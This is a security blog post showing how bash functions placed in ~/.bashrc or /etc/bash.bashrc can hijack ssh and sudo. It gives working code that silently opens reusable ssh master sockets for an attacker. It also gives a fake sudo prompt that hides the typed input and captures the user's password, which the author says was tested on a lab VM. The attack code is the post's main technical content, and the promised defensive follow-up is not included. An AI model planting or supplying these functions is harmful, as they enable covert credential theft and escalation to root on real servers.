Privilege Escalation leveraging shell profiles

The title may not sound like it but I promise, I’m not on the Red Team. However, as a systems administrator I do think that poking around at the tools available on the systems you manage is a good way to learn about what precautions need to be made when standing up new services and defining new security policies. Tom Bolen, one of our Red Team staff, wrote about the ability to leverage command aliases set in users’ shell profiles to setup ssh connections in master mode. This allows an attacker to start a separate ssh session using a previously authenticated connection. It’s a fantastic post, give it a read if you haven’t already.

Looking at how his attack was carried out, I thought that the number of users leveraging aliases for ssh connections would limit how viable that attack would be. It would be better (or uh… worse?) if we could intercept all ssh commands and rewrite them as a master ssh connection. I asked Tom if it would be possible to modify the commands given by the user before they were sent to the shell. Like an alias, but for all ssh commands given by the end user. He answered, “Yep! the configuration file executes as a shell script so anything that you could run in a shell script you can run in there.”

These shell configuration files running as a script instead of just establishing a few variables makes the output significantly easier to manipulate. It allows me the ability to have functions handle the input and output.

Automating attacks from the shell profile

While it’s not too complicated to write a function to rewrite the command sent to the shell, the hard part is getting a user to run it. Turns out, functions defined in the shell configuration files are executed before the actual binaries in the filesystem(/bin,/sbin,/usr/bin,/usr/sbin). All we need to do is name the function the same as the binary that the user wants to call, and it will be executed in place of the binary that the user intended the command for.

ssh () {
args=$@
arr=($args)
arr_len=${#arr[@]}
un_sys=${arr[arr_len-1]}
socket="/tmp/$RANDOM-$un_sys"
bash -c "/usr/bin/ssh -M -S $socket $args"
}

This is a simple ssh function that will record the connection arguments that the user provided, generate a name for a temp socket based on the connection being made, and pass a new command to the actual ssh binary to be executed. The user gets the ssh session, the attacker gets an authenticated socket to ssh to the server separately.

Now that we have a function, where do we attack from? If you only have access to a user session then add your function to ~/.bashrc (or equivalent for alternative shells, e.g. ~/.zshrc). If you have root access, adding the function to /etc/bash.bashrc loads the function in the interactive session for all users. One thing to keep in mind here is these examples are written for bash. The syntax will likely differ from shell to shell.

Bringing my findings back to Tom, he brought up another potential attack where this method might be useful. His idea was stealing user passwords entered via sudo. For a basic version, it’s not too difficult.

sudo () {
args=$@
read -p "[sudo] password for $USER: " pw
echo $pw | /usr/bin/sudo -S $args
}

The problem is, this does not act the same way as the actual authentication prompt. I would hope that even the newest linux users would be raising questions as to why their password is being shown in the clear when authenticating here. To effectively pull this off, we’ll need to mimic the same behavior as sudo would present to the user.

Let’s set the criteria:

  1. The user can’t see their password being typed in.
  2. The malicious code should not prompt when sudo has already been authenticated and is still within the timeout window.
  3. The user can’t be shown any prompts that differ in formatting from the actual sudo command output.
sudo () {
# Capture args as formatted
args=$@
# Check if shell is already authenticated
/usr/bin/sudo -n true &>/dev/null
if [ $? -eq 1 ]; then
# Capture Password
stty -echo
read -p "[☠ sudo] password for $USER: " pw
echo ""
# Authenticate to sudo silently
echo $pw | /usr/bin/sudo -S true &>/dev/null
# Pass commands to sudo
/usr/bin/sudo $args
stty echo
else
/usr/bin/sudo $args
fi
}

The first issue was pretty easy to solve. Issuing the command stty -echo turns off echoing the user input to the terminal, hiding the password.

The second issue was a bit tougher, but was solved by issuing a command to sudo with the -n flag set, disabling any password prompt. This would either fail or succeed based on if sudo had already been authenticated to and was still within the timeout window. Using the exit status of 0 or 1 of that command determined whether or not to give the user the password prompt.

I ran into issues in some VMs where taking the password from stdin (standard input) still showed the password prompt. To get around this, I added echo $pw | /usr/bin/sudo -S true &>/dev/null to authenticate to sudo with the user password while redirecting all output to null. This allowed me to authenticate sudo then pass the actual arguments from the user to /usr/bin/sudo without needing to authenticate again.

Testing this against a lab VM, resulted in sudo commands executing successfully and storing the password as a variable to be used or exported as needed by an attacker.

Image for post

Using both the functions documented here, lays out a pretty simple attack path to go from persistence in a user session to root access on critical server infrastructure. While the flexibility of these configuration files make working with servers via the command line easier, it also opens us up to attackers inserting malicious code to pivot around the network stealing administrator credentials.

Not to leave the Blue Team empty handed, keep an eye out for my next post where we will look into mitigating these types of attacks in your environment.